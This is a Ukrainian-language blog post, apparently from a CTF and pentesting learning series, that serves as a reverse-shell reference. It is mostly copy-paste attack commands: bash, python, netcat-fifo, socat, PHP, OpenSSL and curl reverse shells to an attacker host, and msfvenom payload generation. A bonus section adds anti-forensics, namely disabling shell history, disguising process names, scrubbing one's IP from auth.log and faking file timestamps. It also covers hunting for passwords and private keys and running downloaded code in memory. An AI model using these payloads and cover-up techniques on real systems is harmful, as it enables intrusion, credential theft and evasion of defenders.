// LOG #21: Reverse Shell Deep Dive — кухня зсередини
Юний поціновувач кібернетичних наук
За весь канал я використовував reverse shell десятки разів, але завжди як чорну скриньку: скопіював, вставив, прилетіло. Час розібрати кухню — що саме відбувається, чому одні payload-и кращі за інші і як перетворити «сирий» шел на повноцінний термінал. Цей пост — довідник, до якого я сам повертатимусь.
>> Reverse vs Bind: у чому різниця
Дві моделі, як дістати шел на цілі:
- Reverse shell — ціль сама підключається ДО НАС. Ми слухаємо, вона конектиться. Обходить вхідний фаєрвол цілі (вихідний трафік майже завжди дозволений);
- Bind shell — ціль відкриває порт і слухає, ми підключаємось ДО неї. Потрібен відкритий вхідний порт. Рідше використовується.
У 99% CTF і реальних пентестів — reverse. Саме його і розберемо.
>> Listener: що запускаємо у себе
Перш ніж надіслати payload на ціль — треба підняти слухача у себе. Три варіанти від простого до зручного:
- nc (netcat) — мінімальний, завжди доступний:
- rlwrap nc — додає history і стрілки (але не повний PTY):
- socat — одразу дає повноцінний PTY, найзручніший:
nc -lvnp 4444rlwrap nc -lvnp 4444socat file:`tty`,raw,echo=0 TCP-LISTEN:4444Прапорці nc: -l слухати, -v verbose (показує з'єднання), -n без DNS-резолвінгу, -p порт. Завжди знай свій tun0 IP (ifconfig tun0) — це LHOST для payload-ів.
>> Типи reverse shell

>> bash /dev/tcp
Найпростіший — є скрізь де є bash. /dev/tcp — це псевдофайл: bash відкриває TCP-з'єднання як звичайний файл, і все вводу/виводу йде туди. Оператори >& і 0>&1 перенаправляють stdin/stdout/stderr у сокет:
bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1Якщо /bin/bash це dash (Debian/Ubuntu) — /dev/tcp не підтримується. Обхід: явно викликати bash:
bash -c 'bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1'>> python3
Є на більшості Linux. Два варіанти: простий через subprocess і покращений що одразу спавнить PTY (детальніше про PTY нижче):
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("<LHOST>",<LPORT>));[os.dup2(s.fileno(),i) for i in range(3)];subprocess.call(["/bin/bash","-i"])'Або одразу з PTY через pty.spawn (рекомендовано):
python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("<LHOST>",<LPORT>));[os.dup2(s.fileno(),f) for f in(0,1,2)];pty.spawn("bash")'>> nc mkfifo (netcat без -e)
Класичний OpenBSD netcat не має прапорця -e (виконати програму). Обхід — named pipe (fifo) як двонаправлений канал: nc пише в fifo, bash читає і виконує, вивід назад у nc:
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | bash -i 2>&1 | nc <LHOST> <LPORT> >/tmp/fВиглядає страшно, але ідея проста: fifo з'єднує stdout nc із stdin bash і навпаки. Реально тестував — uid=0 прилетів.
>> socat (найпотужніший)
socat — швейцарський ніж для мережевих з'єднань. Одразу дає повноцінний PTY без додаткової стабілізації (pty,stderr,setsid,sigint,sane):
socat exec:'bash -li',pty,stderr,setsid,sigint,sane TCP:<LHOST>:<LPORT>У парі з socat-listener — отримуємо ідеальний shell одразу:
socat file:`tty`,raw,echo=0 TCP-LISTEN:<LPORT>Мінус: socat рідко встановлений на цілі за замовчуванням. Але можна завантажити статичний бінарник через wget.
>> PHP reverse shell
Для web-upload сценаріїв (як на RootMe #19). fsockopen відкриває TCP-з'єднання, proc_open запускає bash і прив'язує stdin/stdout/stderr до сокету:
php -r '$s=fsockopen("<LHOST>",<LPORT>);$p=proc_open("/bin/bash -i",array(0=>$s,1=>$s,2=>$s),$pipes);'>> msfvenom: генератор payload-ів
Не хочеш вручну — msfvenom генерує готовий бінарник під будь-яку ОС/формат. Три найчастіших:
Linux ELF (194 байти, chmod +x і запустити):
msfvenom -p linux/x64/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf -o shell.elfWindows EXE (7680 байт):
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe -o shell.exePHP (для upload, 2614 байт):
msfvenom -p php/reverse_php LHOST=<IP> LPORT=<PORT> -f raw -o shell.phpДля Meterpreter (замість shell_reverse_tcp → meterpreter/reverse_tcp) треба запускати handler у msf: use multi/handler, set payload, run.
>> PTY стабілізація — головна секція

Отримав shell — але він «тупий» (dumb). Ctrl+C вбиває твій nc, Tab не працює, vim крашається, паролі вводяться у відкриту. Це тому що немає псевдотерміналу (PTY). Фікс — три кроки:
Крок 1 — спавнимо PTY на цілі: python3 запускає bash через pty.spawn, що створює псевдотермінал /dev/pts/N:
python3 -c 'import pty;pty.spawn("/bin/bash")'Крок 2 — переводимо nc у raw-режим: Ctrl+Z фонує nc. Потім stty raw -echo вимикає локальне відлуння і передає всі символи напряму (інакше nc перехоплює Ctrl+C сам):
stty raw -echo; fgКрок 3 — налаштовуємо термінал на цілі: export TERM=xterm дає кольори і escape-послідовності. stty rows/cols синхронізує розмір (свій розмір дивись через stty size у іншому вікні):
export TERM=xtermexport SHELL=bashstty rows 38 cols 116Результат: tty повертає /dev/pts/0. Tab доповнює, стрілки дають history, Ctrl+C вбиває процес на цілі, vim відкривається.
Якщо нема python3 на цілі — спробуй:
- script /dev/null -c bash (є майже скрізь)
- perl -e 'exec "/bin/bash"'
- socat exec:'bash -li',pty,stderr TCP:<LHOST>:<LPORT> (якщо є socat)
>> Бонус: лайфхаки з THC Cheat Sheet
Знайшов золоту шпаргалку від hackerschoice/thc-tips-tricks-hacks-cheat-sheet — ось найцікавіше для роботи з терміналом:
1. Вимкнути history одразу після shell — всі команди у відкритому журналі = артефакти для Blue Team:
unset HISTFILEexport HISTFILE=/dev/nullexport BASH_HISTORY=/dev/null2. Команда з пробілу не потрапляє в history (bash feature HISTCONTROL=ignorespace):
id # пробіл перед командою — не логується3. Маскуємо ім'я процесу — exec -a підміняє argv[0] в ps/top. nmap ховається під syslogd:
(exec -a syslogd nmap -Pn -F -n 10.0.0.1/24)4. OpenSSL encrypted shell — зашифрований reverse shell, ніякий DPI не побачить вмісту:
На атакувальнику (генеруємо серт і слухаємо):
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes -subj '/CN=THC'openssl s_server -port 4444 -cert cert.pem -key key.pemНа жертві (підключається назад через SSL):
({ openssl s_client -connect <LHOST>:4444 -quiet </dev/fd/3 3>&- 2>/dev/null | sh 2>&3 >&3 3>&- ; } 3>&1 | : & )5. cURL shell — shell через curl telnet-режим, корисно коли є лише curl:
Атакувальник: `ncat -kltv 4444`. Жертва:
C="curl -Ns telnet://<LHOST>:4444"; $C </dev/null 2>&1 | sh 2>&1 | $C >/dev/null6. Shell без /dev/tcp і без nc — для embedded/sh-only систем де немає bash, тільки telnet:
mkfifo /tmp/.io; sh -i 2>&1 </tmp/.io | telnet <LHOST> 4444 >/tmp/.io7. PTY через script — якщо нема python3, script є скрізь:
exec script -qc /bin/bash /dev/null8. Download без curl/wget — bash вміє качати файли через /dev/tcp (вбудований HTTP-клієнт):
exec 3<>/dev/tcp/<HOST>/80echo -e 'GET /file HTTP/1.0\r\nHost: <HOST>\r\n\r\n' >&3cat <&3 | sed '1,/^\r/d' > fileАбо через openssl для HTTPS (якщо є openssl але нема curl):
echo -e 'GET /path HTTP/1.0\r\nHost: host\r\n\r\n' | openssl s_client -quiet -connect host:443 | sed '1,/^\r/d' > file9. Відновити timestamp файлу — після зміни /etc/passwd «позичаємо» дату у /etc/shadow, щоб не світився у ls -la:
touch -r /etc/shadow /etc/passwd10. Видалити свій IP з лог-файлу — після роботи прибираємо сліди (SSH_CLIENT містить наш IP):
xlog() { local a=$(sed "/${1}/d" <"${2}") && echo "$a" >"${2}"; }xlog "${SSH_CLIENT%% *}" /var/log/auth.log11. Знайти паролі у файлах — швидкий grep по всій директорії:
grep -rHEi 'password' . 2>/dev/null | grep -v Binarygrep -r -F -- ' PRIVATE KEY-----' . 2>/dev/null12. SSH невидимий — не пише в ~/.ssh/known_hosts, не залишає запис у w/who:
ssh -o UserKnownHostsFile=/dev/null -T user@host "bash -i"13. Перевірити порт без nmap — bash /dev/tcp як port scanner:
timeout 5 bash -c "</dev/tcp/1.2.3.4/80" && echo OPEN || echo CLOSED14. Виконати бінарник у пам'яті без запису на диск — memexec через perl: корисно на noexec-системах або щоб не лишати файлів:
curl -sSfL https://example.com/tool | perl -e '$^F=255;for(319,279){($f=syscall$_,$",0)>0&&last};open($o,">&=".$f);print$o(<STDIN>);exec{"/proc/$$/fd/$f"}X' -- -args15. Дізнатись публічний IP — LHOST для payload-ів:
curl ifconfig.meШо каже HackTricks 📖
Повна шпаргалка усіх можливих reverse shell — у HackTricks Linux Shells. А ще є зручний онлайн-генератор revshells.com — вибираєш тип, вводиш IP/PORT, копіюєш готовий payload. Для більш складних випадків (обхід WAF, шифрований канал, pivot через SSH) — GTFOBins покаже як отримати шел із будь-якого дозволеного бінарника.
>> Що я зрозумів для себе
- Reverse shell = ціль підключається ДО нас. Обходить вхідний фаєрвол.
- Listener спершу (nc -lvnp), потім payload — інакше шел нікуди прилетить.
- bash /dev/tcp — найпростіший; socat — найзручніший (одразу PTY).
- nc mkfifo — обхід коли nc без -e (OpenBSD nc).
- msfvenom генерує payload під будь-яку ОС за одну команду.
- dumb shell = непридатний для роботи. PTY стабілізація — обов'язковий крок.
- python3 pty.spawn + stty raw -echo + export TERM=xterm = повноцінний термінал.
>> Шпаргалка (copy-paste kit)
Listener:
nc -lvnp 4444bash /dev/tcp:
bash -i >& /dev/tcp/<LHOST>/4444 0>&1python3 з PTY:
python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("<LHOST>",4444));[os.dup2(s.fileno(),f) for f in(0,1,2)];pty.spawn("bash")'nc mkfifo:
rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc <LHOST> 4444>/tmp/fPTY стабілізація (після отримання shell):
python3 -c 'import pty;pty.spawn("/bin/bash")'# Ctrl+Zstty raw -echo; fgexport TERM=xterm; stty rows 38 cols 116msfvenom Linux/Windows/PHP:
msfvenom -p linux/x64/shell_reverse_tcp LHOST=<IP> LPORT=4444 -f elf -o s.elfmsfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=4444 -f exe -o s.exemsfvenom -p php/reverse_php LHOST=<IP> LPORT=4444 -f raw -o s.php>> Інструмент дня
revshells.com (генератор payload-ів) · HackTricks: Linux Shells · GTFOBins · THC Tips Tricks Hacks Cheat Sheet · socat · msfvenom cheatsheet
revshells.com (генератор payload-ів): https://www.revshells.com/HackTricks: Linux Shells: https://book.hacktricks.wiki/en/generic-methodologies-and-resources/shells/linux.htmlGTFOBins: https://gtfobins.github.io/THC Tips Tricks Hacks Cheat Sheet: https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheetsocat: https://linux.die.net/man/1/socatmsfvenom cheatsheet: https://book.hacktricks.wiki/en/generic-methodologies-and-resources/reverse-shells/msfvenom.htmlВідтепер reverse shell — не чорна скринька, а набір зрозумілих деталей. bash відкриває сокет через /dev/tcp, python3 спавнить PTY, mkfifo з'єднує канали, socat робить це все одразу. А dumb shell без PTY — це як кавомашина без крана: технічно є, але нічого не витечить нормально. Стабілізуй і працюй. Ростемо, username.
— з повагою ваш Юний поціновувач кібернетичних наук